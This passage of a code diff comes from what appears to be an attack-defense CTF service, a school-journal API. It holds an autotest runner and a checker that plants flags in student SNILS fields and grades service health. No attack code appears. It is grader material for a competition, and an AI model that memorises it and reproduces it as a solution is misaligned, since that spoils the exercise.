path = f"/api/classes/{context.class_id}/students/{context.student_two_id}"
|
||||
status, _, _ = context.send_request("DELETE", path)
|
||||
context.expect(status == 401, f"expected 401, got {status}")
|
||||
|
||||
status, _, _ = context.send_request(
|
||||
"DELETE",
|
||||
f"/api/classes/{context.class_id + 999}/students/"
|
||||
f"{context.student_two_id}",
|
||||
headers=context.make_auth(
|
||||
context.teacher_username,
|
||||
context.teacher_password,
|
||||
),
|
||||
)
|
||||
context.expect(
|
||||
status == 403,
|
||||
f"expected 403 for foreign class, got {status}",
|
||||
)
|
||||
|
||||
status, _, _ = context.send_request(
|
||||
"DELETE",
|
||||
f"/api/classes/{context.class_id}/students/"
|
||||
f"{context.student_two_id + 999}",
|
||||
headers=context.make_auth(
|
||||
context.teacher_username,
|
||||
context.teacher_password,
|
||||
),
|
||||
)
|
||||
context.expect(
|
||||
status == 404,
|
||||
f"expected 404 for foreign student, got {status}",
|
||||
)
|
||||
|
||||
status, _, _ = context.send_request(
|
||||
"DELETE",
|
||||
path,
|
||||
headers=context.make_auth(
|
||||
context.teacher_username,
|
||||
context.teacher_password,
|
||||
),
|
||||
)
|
||||
context.expect(status == 204, f"expected 204, got {status}")
|
||||
|
||||
status, _, _ = context.send_request(
|
||||
"DELETE",
|
||||
path,
|
||||
headers=context.make_auth(
|
||||
context.teacher_username,
|
||||
context.teacher_password,
|
||||
),
|
||||
)
|
||||
context.expect(status == 404, f"expected 404 after removal, got {status}")
|
||||
255
autotest/main.py
Normal file
255
autotest/main.py
Normal file
@@ -0,0 +1,255 @@
|
||||
#!/usr/bin/env python3
|
||||
import http.client
|
||||
import importlib
|
||||
import json
|
||||
import os
|
||||
import socket
|
||||
import sqlite3
|
||||
import subprocess
|
||||
import sys
|
||||
import time
|
||||
import argparse
|
||||
from pathlib import Path
|
||||
import traceback
|
||||
|
||||
ROOT = Path(__file__).resolve().parents[1]
|
||||
DB_PATH = ROOT / "var" / "srab.db"
|
||||
SERVER_PATH = os.environ.get("SERVER_PATH", ROOT / "build" / "target.exe")
|
||||
HOST = "127.0.0.1"
|
||||
PORT = 1337
|
||||
|
||||
if str(ROOT) not in sys.path:
|
||||
sys.path.insert(0, str(ROOT))
|
||||
|
||||
K_FIRST_NAME = "имя"
|
||||
K_LAST_NAME = "фамилия"
|
||||
K_MIDDLE_NAME = "отчество"
|
||||
K_EDUCATION = "образование"
|
||||
K_PASSWORD = "пароль"
|
||||
K_CONFIRM_PASSWORD = "повтор пароля"
|
||||
K_NEW_PASSWORD = "новый пароль"
|
||||
K_SNILS = "снилс"
|
||||
K_PASSPORT = "паспорт"
|
||||
K_CLASS_NUMBER = "номер"
|
||||
K_CLASS_LETTER = "буква"
|
||||
K_CLASSES = "классы"
|
||||
K_IDENTIFIER = "идентификатор"
|
||||
K_CREATOR = "создатель"
|
||||
K_USERNAME = "имя пользователя"
|
||||
|
||||
MESSAGE_PASSWORD_MISMATCH = "Пароли не совпадают."
|
||||
MESSAGE_LOGIN_OK = "Рады видеть вас снова :3"
|
||||
|
||||
CASE_PACKAGE = "autotest.cases"
|
||||
CASE_MODULES = [
|
||||
"case_01_users_create_teacher",
|
||||
"case_02_users_create_mismatch",
|
||||
"case_03_users_login_success",
|
||||
"case_04_users_login_failure",
|
||||
"case_05_users_change_password",
|
||||
"case_06_users_login_with_new_password",
|
||||
"case_07_teachers_auth_required",
|
||||
"case_08_teachers_create_class",
|
||||
"case_09_teachers_list_classes",
|
||||
"case_10_teachers_create_extra_class",
|
||||
"case_11_teachers_delete_extra_class",
|
||||
"case_12_students_create_student",
|
||||
"case_13_students_create_second_student",
|
||||
"case_14_teachers_add_student_to_class",
|
||||
"case_15_students_list",
|
||||
"case_16_students_get",
|
||||
"case_17_students_delete",
|
||||
"case_18_lessons_teacher_add",
|
||||
"case_19_lessons_list",
|
||||
"case_20_lessons_teacher_delete",
|
||||
"case_21_teachers_remove_student_from_class",
|
||||
]
|
||||
|
||||
|
||||
class TestContext:
|
||||
def __init__(self) -> None:
|
||||
self.teacher_first = "Alice"
|
||||
self.teacher_last = "Smith"
|
||||
self.teacher_middle = "Ann"
|
||||
self.teacher_education = "Math"
|
||||
self.teacher_password_initial = "Secret42"
|
||||
self.teacher_password_new = "Secret99"
|
||||
self.teacher_password = self.teacher_password_initial
|
||||
self.teacher_username = f"{self.teacher_first}.{self.teacher_last}"
|
||||
|
||||
self.class_id = None
|
||||
self.class_two_id = None
|
||||
self.student_one_id = None
|
||||
self.student_two_id = None
|
||||
self.teacher_id = None
|
||||
self.teacher_user_id = None
|
||||
self.lesson_first_id = None
|
||||
self.lesson_first_date = None
|
||||
self.lesson_first_title = None
|
||||
self.lesson_second_id = None
|
||||
self.lesson_second_date = None
|
||||
self.lesson_second_title = None
|
||||
self.student_one_username = None
|
||||
self.student_one_password = None
|
||||
self.student_two_username = None
|
||||
self.student_two_password = None
|
||||
|
||||
self.K_FIRST_NAME = K_FIRST_NAME
|
||||
self.K_LAST_NAME = K_LAST_NAME
|
||||
self.K_MIDDLE_NAME = K_MIDDLE_NAME
|
||||
self.K_EDUCATION = K_EDUCATION
|
||||
self.K_PASSWORD = K_PASSWORD
|
||||
self.K_CONFIRM_PASSWORD = K_CONFIRM_PASSWORD
|
||||
self.K_NEW_PASSWORD = K_NEW_PASSWORD
|
||||
self.K_SNILS = K_SNILS
|
||||
self.K_PASSPORT = K_PASSPORT
|
||||
self.K_CLASS_NUMBER = K_CLASS_NUMBER
|
||||
self.K_CLASS_LETTER = K_CLASS_LETTER
|
||||
self.K_CLASSES = K_CLASSES
|
||||
self.K_IDENTIFIER = K_IDENTIFIER
|
||||
self.K_CREATOR = K_CREATOR
|
||||
self.K_USERNAME = K_USERNAME
|
||||
self.MESSAGE_PASSWORD_MISMATCH = MESSAGE_PASSWORD_MISMATCH
|
||||
self.MESSAGE_LOGIN_OK = MESSAGE_LOGIN_OK
|
||||
|
||||
def expect(self, condition: bool, message: str) -> None:
|
||||
expect(condition, message)
|
||||
|
||||
def send_request(self, method: str, path: str, *, body=None, headers=None):
|
||||
return send_request(method, path, body=body, headers=headers)
|
||||
|
||||
def query_single_value(self, sql: str, params) -> int:
|
||||
return query_single_value(sql, params)
|
||||
|
||||
def make_auth(self, username: str, password: str) -> dict:
|
||||
return make_auth(username, password)
|
||||
|
||||
|
||||
def remove_database() -> None:
|
||||
if DB_PATH.exists():
|
||||
DB_PATH.unlink()
|
||||
|
||||
|
||||
def start_server(silent) -> subprocess.Popen:
|
||||
out = subprocess.DEVNULL if silent else None
|
||||
|
||||
return subprocess.Popen(
|
||||
[str(SERVER_PATH)],
|
||||
cwd=str(ROOT),
|
||||
stdout=out,
|
||||
stderr=out,
|
||||
)
|
||||
|
||||
|
||||
def wait_for_server(timeout: float = 10.0) -> None:
|
||||
deadline = time.time() + timeout
|
||||
while time.time() < deadline:
|
||||
try:
|
||||
with socket.create_connection((HOST, PORT), timeout=0.25):
|
||||
return
|
||||
except OSError:
|
||||
time.sleep(0.05)
|
||||
raise RuntimeError("server did not accept connections")
|
||||
|
||||
|
||||
def stop_server(proc: subprocess.Popen) -> None:
|
||||
if proc.poll() is not None:
|
||||
return
|
||||
proc.terminate()
|
||||
try:
|
||||
proc.wait(timeout=2)
|
||||
except subprocess.TimeoutExpired:
|
||||
proc.kill()
|
||||
proc.wait(timeout=2)
|
||||
|
||||
|
||||
def expect(condition: bool, message: str) -> None:
|
||||
if not condition:
|
||||
raise AssertionError(message)
|
||||
|
||||
|
||||
def make_auth(username: str, password: str) -> dict:
|
||||
return {"Authorization": f"Basic {username} {password}"}
|
||||
|
||||
|
||||
def send_request(method: str, path: str, *, body=None, headers=None):
|
||||
conn = http.client.HTTPConnection(HOST, PORT, timeout=5)
|
||||
try:
|
||||
data = None
|
||||
hdrs = {} if headers is None else dict(headers)
|
||||
if body is not None:
|
||||
if isinstance(body, (dict, list)):
|
||||
data = json.dumps(body, ensure_ascii=False).encode("utf-8")
|
||||
hdrs.setdefault(
|
||||
"Content-Type",
|
||||
"application/json; charset=utf-8",
|
||||
)
|
||||
elif isinstance(body, str):
|
||||
data = body.encode("utf-8")
|
||||
else:
|
||||
data = body
|
||||
conn.request(method, path, body=data, headers=hdrs)
|
||||
response = conn.getresponse()
|
||||
payload = response.read()
|
||||
text = payload.decode("utf-8") if payload else ""
|
||||
return response.status, text, dict(response.getheaders())
|
||||
finally:
|
||||
conn.close()
|
||||
|
||||
|
||||
def query_single_value(sql: str, params) -> int:
|
||||
with sqlite3.connect(DB_PATH) as conn:
|
||||
conn.row_factory = sqlite3.Row
|
||||
row = conn.execute(sql, params).fetchone()
|
||||
expect(row is not None, f"query returned no rows: {sql!r} {params!r}")
|
||||
return int(row["id"])
|
||||
|
||||
|
||||
def load_cases():
|
||||
modules = []
|
||||
for name in CASE_MODULES:
|
||||
module = importlib.import_module(f"{CASE_PACKAGE}.{name}")
|
||||
modules.append(module)
|
||||
return modules
|
||||
|
||||
|
||||
def run_tests() -> None:
|
||||
context = TestContext()
|
||||
|
||||
for module in load_cases():
|
||||
step_name = getattr(module, "TEST_NAME", module.__name__)
|
||||
print(f"[step] {step_name}")
|
||||
|
||||
try:
|
||||
module.run(context)
|
||||
except Exception:
|
||||
print(f"Test '{step_name}' run failed")
|
||||
print(traceback.format_exc())
|
||||
sys.exit(1)
|
||||
|
||||
print("[OK] All steps passed")
|
||||
|
||||
|
||||
def main() -> None:
|
||||
parser = argparse.ArgumentParser(description="SRAB automatic test suit.")
|
||||
parser.add_argument(
|
||||
"-s",
|
||||
"--suppress",
|
||||
default=False,
|
||||
action="store_true",
|
||||
help="Suppress server output"
|
||||
)
|
||||
args = parser.parse_args()
|
||||
|
||||
remove_database()
|
||||
server = start_server(args.suppress)
|
||||
|
||||
try:
|
||||
wait_for_server()
|
||||
run_tests()
|
||||
finally:
|
||||
stop_server(server)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
742
checker/checker.py
Normal file
742
checker/checker.py
Normal file
@@ -0,0 +1,742 @@
|
||||
#!/usr/bin/python3
|
||||
import errno
|
||||
import hashlib
|
||||
import http.client
|
||||
import json
|
||||
import random
|
||||
import socket
|
||||
import string
|
||||
import sys
|
||||
import traceback
|
||||
|
||||
|
||||
PORT = 1337
|
||||
TIMEOUT = 3.0
|
||||
|
||||
K_FIRST_NAME = "имя"
|
||||
K_LAST_NAME = "фамилия"
|
||||
K_MIDDLE_NAME = "отчество"
|
||||
K_EDUCATION = "образование"
|
||||
K_PASSWORD = "пароль"
|
||||
K_CONFIRM_PASSWORD = "повтор пароля"
|
||||
K_NEW_PASSWORD = "новый пароль"
|
||||
K_SNILS = "снилс"
|
||||
K_PASSPORT = "паспорт"
|
||||
K_CLASS_NUMBER = "номер"
|
||||
K_CLASS_LETTER = "буква"
|
||||
K_CLASSES = "классы"
|
||||
K_IDENTIFIER = "идентификатор"
|
||||
K_CREATOR = "создатель"
|
||||
K_USERNAME = "имя пользователя"
|
||||
K_LESSONS = "уроки"
|
||||
K_LESSON_DATE = "дата"
|
||||
K_LESSON_TITLE = "название"
|
||||
K_LESSON_HOMEWORK = "домашнее задание"
|
||||
|
||||
LOGIN_SUCCESS = "Рады видеть вас снова :3"
|
||||
|
||||
TEACHER_FIRST_NAMES = [
|
||||
"Анна",
|
||||
"Мария",
|
||||
"Ольга",
|
||||
"Елена",
|
||||
"Светлана",
|
||||
"Татьяна",
|
||||
"Юлия",
|
||||
"Вера",
|
||||
"Алёна",
|
||||
"Наталья",
|
||||
]
|
||||
TEACHER_LAST_NAMES = [
|
||||
"Иванова",
|
||||
"Петрова",
|
||||
"Сидорова",
|
||||
"Федорова",
|
||||
"Кузнецова",
|
||||
"Попова",
|
||||
"Соколова",
|
||||
"Павлова",
|
||||
"Зайцева",
|
||||
"Орлова",
|
||||
]
|
||||
TEACHER_MIDDLE_NAMES = [
|
||||
"Александровна",
|
||||
"Сергеевна",
|
||||
"Игоревна",
|
||||
"Юрьевна",
|
||||
"Владимировна",
|
||||
"Николаевна",
|
||||
"Павловна",
|
||||
"Степановна",
|
||||
"Олеговна",
|
||||
"Георгиевна",
|
||||
]
|
||||
TEACHER_EDUCATIONS = [
|
||||
"Математика",
|
||||
"Физика",
|
||||
"Химия",
|
||||
"История",
|
||||
"Биология",
|
||||
"География",
|
||||
"Литература",
|
||||
"Информатика",
|
||||
]
|
||||
STUDENT_FIRST_NAMES = [
|
||||
"Артём",
|
||||
"Борис",
|
||||
"Виктория",
|
||||
"Глеб",
|
||||
"Дарья",
|
||||
"Егор",
|
||||
"Злата",
|
||||
"Илья",
|
||||
"Кира",
|
||||
"Лев",
|
||||
"Маргарита",
|
||||
"Никита",
|
||||
]
|
||||
STUDENT_LAST_NAMES = [
|
||||
"Алексеев",
|
||||
"Белов",
|
||||
"Васильев",
|
||||
"Громов",
|
||||
"Демидов",
|
||||
"Ершов",
|
||||
"Журавлёв",
|
||||
"Зуев",
|
||||
"Исаев",
|
||||
"Калинин",
|
||||
"Лукин",
|
||||
"Миронов",
|
||||
]
|
||||
STUDENT_MIDDLE_NAMES = [
|
||||
"Андреевич",
|
||||
"Борисович",
|
||||
"Владимирович",
|
||||
"Геннадьевич",
|
||||
"Дмитриевич",
|
||||
"Евгеньевич",
|
||||
"Иванович",
|
||||
"Константинович",
|
||||
"Львович",
|
||||
"Михайлович",
|
||||
]
|
||||
LESSON_TOPICS = [
|
||||
"Алгебра",
|
||||
"Геометрия",
|
||||
"Физика",
|
||||
"Химия",
|
||||
"Биология",
|
||||
"История",
|
||||
"Информатика",
|
||||
"Русский язык",
|
||||
]
|
||||
HOMEWORK_PHRASES = [
|
||||
"Решить упражнения {token} в тетради.",
|
||||
"Подготовить сообщение по теме {token}.",
|
||||
"Прочитать параграф {token} и сделать конспект.",
|
||||
"Собрать презентацию {token}.",
|
||||
]
|
||||
PASSWORD_WORDS = [
|
||||
"Секрет",
|
||||
"Пароль",
|
||||
"Шифр",
|
||||
"Тайна",
|
||||
"Загадка",
|
||||
"Форт",
|
||||
]
|
||||
CLASS_LETTERS = list("АБВГД")
|
||||
|
||||
_ERR_HOSTDOWN = getattr(errno, "EHOSTDOWN", None)
|
||||
DOWN_ERRNOS = {
|
||||
value
|
||||
for value in (
|
||||
errno.ECONNREFUSED,
|
||||
errno.EHOSTUNREACH,
|
||||
errno.ENETUNREACH,
|
||||
_ERR_HOSTDOWN,
|
||||
)
|
||||
if value is not None
|
||||
}
|
||||
|
||||
DEBUG = True
|
||||
|
||||
|
||||
def service_up():
|
||||
print("[service is worked] - 101")
|
||||
exit(101)
|
||||
|
||||
|
||||
def service_corrupt():
|
||||
print("[service is corrupt] - 102")
|
||||
exit(102)
|
||||
|
||||
|
||||
def service_mumble():
|
||||
print("[service is mumble] - 103")
|
||||
exit(103)
|
||||
|
||||
|
||||
def service_down():
|
||||
print("[service is down] - 104")
|
||||
exit(104)
|
||||
|
||||
|
||||
def debug(message):
|
||||
if DEBUG:
|
||||
print(f"[debug] {message}", file=sys.stderr)
|
||||
|
||||
|
||||
class CheckerError(Exception):
|
||||
def __init__(self, verdict, message):
|
||||
super().__init__(message)
|
||||
self.verdict = verdict
|
||||
|
||||
|
||||
class ApiClient:
|
||||
def __init__(self, host, port=PORT):
|
||||
self.host = host
|
||||
self.port = port
|
||||
|
||||
def request(self, method, path, *, json_body=None, headers=None):
|
||||
if not path.startswith("/"):
|
||||
path = "/" + path
|
||||
hdrs = {} if headers is None else dict(headers)
|
||||
data = None
|
||||
if json_body is not None:
|
||||
data = json.dumps(json_body, ensure_ascii=False).encode("utf-8")
|
||||
hdrs.setdefault(
|
||||
"Content-Type",
|
||||
"application/json; charset=utf-8",
|
||||
)
|
||||
conn = http.client.HTTPConnection(
|
||||
self.host,
|
||||
self.port,
|
||||
timeout=TIMEOUT,
|
||||
)
|
||||
try:
|
||||
conn.request(method, path, body=data, headers=hdrs)
|
||||
response = conn.getresponse()
|
||||
payload = response.read()
|
||||
text = payload.decode("utf-8", "ignore")
|
||||
return response.status, text, dict(response.getheaders())
|
||||
except socket.timeout as exc:
|
||||
raise CheckerError(service_mumble, "request timeout") from exc
|
||||
except OSError as exc:
|
||||
err_no = exc.errno
|
||||
if err_no in DOWN_ERRNOS:
|
||||
raise CheckerError(
|
||||
service_down,
|
||||
f"connection error: {exc}",
|
||||
) from exc
|
||||
if err_no == errno.ECONNRESET:
|
||||
raise CheckerError(
|
||||
service_mumble,
|
||||
f"connection reset: {exc}",
|
||||
) from exc
|
||||
raise CheckerError(
|
||||
service_mumble,
|
||||
f"network error: {exc}",
|
||||
) from exc
|
||||
except http.client.HTTPException as exc:
|
||||
raise CheckerError(
|
||||
service_mumble,
|
||||
f"http error: {exc}",
|
||||
) from exc
|
||||
finally:
|
||||
try:
|
||||
conn.close()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
|
||||
def make_seed(flag_id, flag):
|
||||
digest = hashlib.sha256(f"{flag_id}:{flag}".encode("utf-8")).digest()
|
||||
return int.from_bytes(digest, "big")
|
||||
|
||||
|
||||
def token(rng, length):
|
||||
alphabet = string.ascii_uppercase + string.digits
|
||||
return "".join(rng.choice(alphabet) for _ in range(length))
|
||||
|
||||
|
||||
def numeric(rng, length):
|
||||
return "".join(rng.choice(string.digits) for _ in range(length))
|
||||
|
||||
|
||||
def build_teacher(rng):
|
||||
suffix = token(rng, 5)
|
||||
|
||||
first = rng.choice(TEACHER_FIRST_NAMES) + suffix
|
||||
last = rng.choice(TEACHER_LAST_NAMES) + suffix
|
||||
middle = rng.choice(TEACHER_MIDDLE_NAMES) + suffix
|
||||
education = rng.choice(TEACHER_EDUCATIONS)
|
||||
password = rng.choice(PASSWORD_WORDS) + token(rng, 5) + numeric(rng, 2)
|
||||
username = f"{first}.{last}"
|
||||
return {
|
||||
"first": first,
|
||||
"last": last,
|
||||
"middle": middle,
|
||||
"education": education,
|
||||
"password": password,
|
||||
"username": username,
|
||||
}
|
||||
|
||||
|
||||
def build_student(rng, flagged, flag):
|
||||
suffix = token(rng, 3)
|
||||
first = rng.choice(STUDENT_FIRST_NAMES) + suffix
|
||||
last = rng.choice(STUDENT_LAST_NAMES) + suffix
|
||||
middle = rng.choice(STUDENT_MIDDLE_NAMES) + suffix
|
||||
password = rng.choice(PASSWORD_WORDS) + suffix + numeric(rng, 2)
|
||||
snils = flag if flagged else numeric(rng, 11)
|
||||
passport = "P" + numeric(rng, 8)
|
||||
username = f"{first}.{last}"
|
||||
return {
|
||||
"first": first,
|
||||
"last": last,
|
||||
"middle": middle,
|
||||
"password": password,
|
||||
"snils": snils,
|
||||
"passport": passport,
|
||||
"username": username,
|
||||
"is_flagged": flagged,
|
||||
}
|
||||
|
||||
|
||||
def build_lesson(rng, class_index, lesson_index):
|
||||
base_day = 1 + class_index * 4 + lesson_index
|
||||
day = 1 + base_day % 27
|
||||
date = f"2025-09-{day:02d}"
|
||||
topic = rng.choice(LESSON_TOPICS) + " " + token(rng, 2)
|
||||
homework = rng.choice(HOMEWORK_PHRASES).format(token=token(rng, 3))
|
||||
return {
|
||||
"date": date,
|
||||
"title": topic,
|
||||
"homework": homework,
|
||||
}
|
||||
|
||||
|
||||
def generate_plan(flag_id, flag):
|
||||
rng = random.Random(make_seed(flag_id, flag))
|
||||
teacher = build_teacher(rng)
|
||||
class_count = 1 + rng.randint(0, 2)
|
||||
class_specs = []
|
||||
total_students = 0
|
||||
for _ in range(class_count):
|
||||
student_count = 1 + rng.randint(0, 2)
|
||||
lesson_count = 2 + rng.randint(0, 1)
|
||||
class_specs.append(
|
||||
{
|
||||
"number": rng.randint(1, 11),
|
||||
"letter": rng.choice(CLASS_LETTERS),
|
||||
"student_count": student_count,
|
||||
"lesson_count": lesson_count,
|
||||
}
|
||||
)
|
||||
total_students += student_count
|
||||
flagged_index = rng.randrange(total_students)
|
||||
current_index = 0
|
||||
classes = []
|
||||
for class_idx, spec in enumerate(class_specs):
|
||||
students = []
|
||||
for _ in range(spec["student_count"]):
|
||||
is_flagged = current_index == flagged_index
|
||||
students.append(build_student(rng, is_flagged, flag))
|
||||
current_index += 1
|
||||
lessons = [
|
||||
build_lesson(rng, class_idx, li)
|
||||
for li in range(spec["lesson_count"])
|
||||
]
|
||||
classes.append(
|
||||
{
|
||||
"number": spec["number"],
|
||||
"letter": spec["letter"],
|
||||
"students": students,
|
||||
"lessons": lessons,
|
||||
}
|
||||
)
|
||||
return {
|
||||
"teacher": teacher,
|
||||
"classes": classes,
|
||||
"flag": flag,
|
||||
}
|
||||
|
||||
|
||||
def all_students(plan):
|
||||
for class_spec in plan["classes"]:
|
||||
for student in class_spec["students"]:
|
||||
yield student
|
||||
|
||||
|
||||
def make_auth_header(teacher):
|
||||
return {
|
||||
"Authorization": (
|
||||
f"Basic {teacher['username']} {teacher['password']}".encode(
|
||||
"utf-8"
|
||||
)
|
||||
),
|
||||
}
|
||||
|
||||
|
||||
def parse_json_payload(text, context):
|
||||
try:
|
||||
return json.loads(text) if text else {}
|
||||
except json.JSONDecodeError as exc:
|
||||
raise CheckerError(
|
||||
service_corrupt,
|
||||
f"invalid json in {context}: {exc}",
|
||||
) from exc
|
||||
|
||||
|
||||
def login_teacher(client, teacher):
|
||||
payload = {
|
||||
K_USERNAME: teacher["username"],
|
||||
K_PASSWORD: teacher["password"],
|
||||
}
|
||||
status, body, _ = client.request(
|
||||
"POST",
|
||||
"/api/users/login",
|
||||
json_body=payload,
|
||||
)
|
||||
body_text = body.strip()
|
||||
if status == 200 and body_text == LOGIN_SUCCESS:
|
||||
return True
|
||||
if status == 401:
|
||||
return False
|
||||
raise CheckerError(
|
||||
service_corrupt,
|
||||
f"unexpected login status {status} body={body_text!r}",
|
||||
)
|
||||
|
||||
|
||||
def ensure_teacher(client, plan):
|
||||
teacher = plan["teacher"]
|
||||
if login_teacher(client, teacher):
|
||||
return make_auth_header(teacher)
|
||||
payload = {
|
||||
K_FIRST_NAME: teacher["first"],
|
||||
K_LAST_NAME: teacher["last"],
|
||||
K_MIDDLE_NAME: teacher["middle"],
|
||||
K_EDUCATION: teacher["education"],
|
||||
K_PASSWORD: teacher["password"],
|
||||
K_CONFIRM_PASSWORD: teacher["password"],
|
||||
}
|
||||
status, _, _ = client.request("POST", "/api/users", json_body=payload)
|
||||
if status != 201:
|
||||
raise CheckerError(
|
||||
service_corrupt,
|
||||
f"teacher create failed with status {status}",
|
||||
)
|
||||
if not login_teacher(client, teacher):
|
||||
raise CheckerError(
|
||||
service_corrupt,
|
||||
"teacher login failed after registration",
|
||||
)
|
||||
return make_auth_header(teacher)
|
||||
|
||||
|
||||
def fetch_classes(client, auth):
|
||||
status, body, _ = client.request("GET", "/api/classes", headers=auth)
|
||||
if status != 200:
|
||||
raise CheckerError(
|
||||
service_corrupt,
|
||||
f"unexpected classes status {status}",
|
||||
)
|
||||
data = parse_json_payload(body, "classes list")
|
||||
classes = data.get(K_CLASSES, [])
|
||||
if not isinstance(classes, list):
|
||||
raise CheckerError(service_corrupt, "classes payload malformed")
|
||||
return classes
|
||||
|
||||
|
||||
def find_class(classes, number, letter):
|
||||
for entry in classes:
|
||||
if (
|
||||
isinstance(entry, dict)
|
||||
and entry.get(K_CLASS_NUMBER) == number
|
||||
and entry.get(K_CLASS_LETTER) == letter
|
||||
):
|
||||
return entry
|
||||
return None
|
||||
|
||||
|
||||
def ensure_classes(client, plan, auth):
|
||||
classes_payload = fetch_classes(client, auth)
|
||||
for class_spec in plan["classes"]:
|
||||
existing = find_class(
|
||||
classes_payload,
|
||||
class_spec["number"],
|
||||
class_spec["letter"],
|
||||
)
|
||||
if existing is None:
|
||||
payload = {
|
||||
K_CLASS_NUMBER: class_spec["number"],
|
||||
K_CLASS_LETTER: class_spec["letter"],
|
||||
}
|
||||
status, body, _ = client.request(
|
||||
"POST",
|
||||
"/api/classes",
|
||||
json_body=payload,
|
||||
headers=auth,
|
||||
)
|
||||
if status != 201:
|
||||
raise CheckerError(
|
||||
service_corrupt,
|
||||
f"class create failed with status {status}",
|
||||
)
|
||||
created = parse_json_payload(body, "class create")
|
||||
classes_payload.append(created)
|
||||
class_spec["id"] = int(created.get(K_IDENTIFIER))
|
||||
else:
|
||||
class_spec["id"] = int(existing.get(K_IDENTIFIER))
|
||||
|
||||
|
||||
def fetch_students(client, auth):
|
||||
status, body, _ = client.request("GET", "/api/students", headers=auth)
|
||||
if status != 200:
|
||||
raise CheckerError(
|
||||
service_corrupt,
|
||||
f"unexpected students status {status}",
|
||||
)
|
||||
data = parse_json_payload(body, "students list")
|
||||
students = data.get("\u0443\u0447\u0435\u043d\u0438\u043a\u0438", [])
|
||||
if not isinstance(students, list):
|
||||
raise CheckerError(service_corrupt, "students payload malformed")
|
||||
return students
|
||||
|
||||
|
||||
def ensure_students(client, plan, auth):
|
||||
student_specs = list(all_students(plan))
|
||||
if not student_specs:
|
||||
return
|
||||
students_payload = fetch_students(client, auth)
|
||||
snils_map = {
|
||||
entry.get(K_SNILS): entry
|
||||
for entry in students_payload
|
||||
if isinstance(entry, dict)
|
||||
}
|
||||
missing = [
|
||||
spec
|
||||
for spec in student_specs
|
||||
if spec["snils"] not in snils_map
|
||||
]
|
||||
for spec in missing:
|
||||
payload = {
|
||||
K_FIRST_NAME: spec["first"],
|
||||
K_LAST_NAME: spec["last"],
|
||||
K_MIDDLE_NAME: spec["middle"],
|
||||
K_PASSWORD: spec["password"],
|
||||
K_CONFIRM_PASSWORD: spec["password"],
|
||||
K_SNILS: spec["snils"],
|
||||
K_PASSPORT: spec["passport"],
|
||||
}
|
||||
status, _, _ = client.request(
|
||||
"POST",
|
||||
"/api/students",
|
||||
json_body=payload,
|
||||
headers=auth,
|
||||
)
|
||||
if status != 201:
|
||||
raise CheckerError(
|
||||
service_corrupt,
|
||||
f"student create failed with status {status}",
|
||||
)
|
||||
if missing:
|
||||
students_payload = fetch_students(client, auth)
|
||||
snils_map = {
|
||||
entry.get(K_SNILS): entry
|
||||
for entry in students_payload
|
||||
if isinstance(entry, dict)
|
||||
}
|
||||
for spec in student_specs:
|
||||
entry = snils_map.get(spec["snils"])
|
||||
if entry is None:
|
||||
raise CheckerError(
|
||||
service_corrupt,
|
||||
"student missing after creation",
|
||||
)
|
||||
spec["id"] = int(entry.get(K_IDENTIFIER))
|
||||
|
||||
|
||||
def add_students_to_classes(client, plan, auth):
|
||||
for class_spec in plan["classes"]:
|
||||
class_id = class_spec.get("id")
|
||||
if class_id is None:
|
||||
raise CheckerError(
|
||||
service_corrupt,
|
||||
"class id missing during assignment",
|
||||
)
|
||||
for student in class_spec["students"]:
|
||||
student_id = student.get("id")
|
||||
if student_id is None:
|
||||
raise CheckerError(
|
||||
service_corrupt,
|
||||
"student id missing during assignment",
|
||||
)
|
||||
path = f"/api/classes/{class_id}/students/{student_id}"
|
||||
status, _, _ = client.request("POST", path, headers=auth)
|
||||
if status not in (201, 422):
|
||||
raise CheckerError(
|
||||
service_corrupt,
|
||||
f"assignment failed with status {status}",
|
||||
)
|
||||
|
||||
|
||||
def fetch_lessons(client, auth, class_id):
|
||||
path = f"/api/classes/{class_id}/lessons"
|
||||
status, body, _ = client.request("GET", path, headers=auth)
|
||||
if status != 200:
|
||||
raise CheckerError(
|
||||
service_corrupt,
|
||||
f"unexpected lessons status {status}",
|
||||
)
|
||||
data = parse_json_payload(body, "lessons list")
|
||||
lessons = data.get(K_LESSONS, [])
|
||||
if not isinstance(lessons, list):
|
||||
raise CheckerError(service_corrupt, "lessons payload malformed")
|
||||
return lessons
|
||||
|
||||
|
||||
def match_lesson(entry, lesson_spec):
|
||||
return (
|
||||
isinstance(entry, dict)
|
||||
and entry.get(K_LESSON_DATE) == lesson_spec["date"]
|
||||
and entry.get(K_LESSON_TITLE) == lesson_spec["title"]
|
||||
)
|
||||
|
||||
|
||||
def ensure_lessons(client, plan, auth):
|
||||
for class_spec in plan["classes"]:
|
||||
class_id = class_spec.get("id")
|
||||
if class_id is None:
|
||||
raise CheckerError(service_corrupt, "class id missing for lessons")
|
||||
lessons_payload = fetch_lessons(client, auth, class_id)
|
||||
for lesson_spec in class_spec["lessons"]:
|
||||
existing = None
|
||||
for entry in lessons_payload:
|
||||
if match_lesson(entry, lesson_spec):
|
||||
existing = entry
|
||||
break
|
||||
if existing is None:
|
||||
payload = {
|
||||
K_LESSON_DATE: lesson_spec["date"],
|
||||
K_LESSON_TITLE: lesson_spec["title"],
|
||||
K_LESSON_HOMEWORK: lesson_spec["homework"],
|
||||
}
|
||||
status, body, _ = client.request(
|
||||
"POST",
|
||||
f"/api/classes/{class_id}/lessons",
|
||||
json_body=payload,
|
||||
headers=auth,
|
||||
)
|
||||
if status != 201:
|
||||
raise CheckerError(
|
||||
service_corrupt,
|
||||
f"lesson create failed with status {status}",
|
||||
)
|
||||
created = parse_json_payload(body, "lesson create")
|
||||
lessons_payload.append(created)
|
||||
|
||||
|
||||
def perform_put(client, plan):
|
||||
auth = ensure_teacher(client, plan)
|
||||
ensure_classes(client, plan, auth)
|
||||
ensure_students(client, plan, auth)
|
||||
add_students_to_classes(client, plan, auth)
|
||||
ensure_lessons(client, plan, auth)
|
||||
|
||||
|
||||
def verify_classes(client, plan, auth):
|
||||
classes_payload = fetch_classes(client, auth)
|
||||
for class_spec in plan["classes"]:
|
||||
entry = find_class(
|
||||
classes_payload,
|
||||
class_spec["number"],
|
||||
class_spec["letter"],
|
||||
)
|
||||
if entry is None:
|
||||
raise CheckerError(service_corrupt, "expected class missing")
|
||||
class_spec["id"] = int(entry.get(K_IDENTIFIER))
|
||||
lessons_payload = fetch_lessons(client, auth, class_spec["id"])
|
||||
for lesson_spec in class_spec["lessons"]:
|
||||
if not any(
|
||||
match_lesson(item, lesson_spec)
|
||||
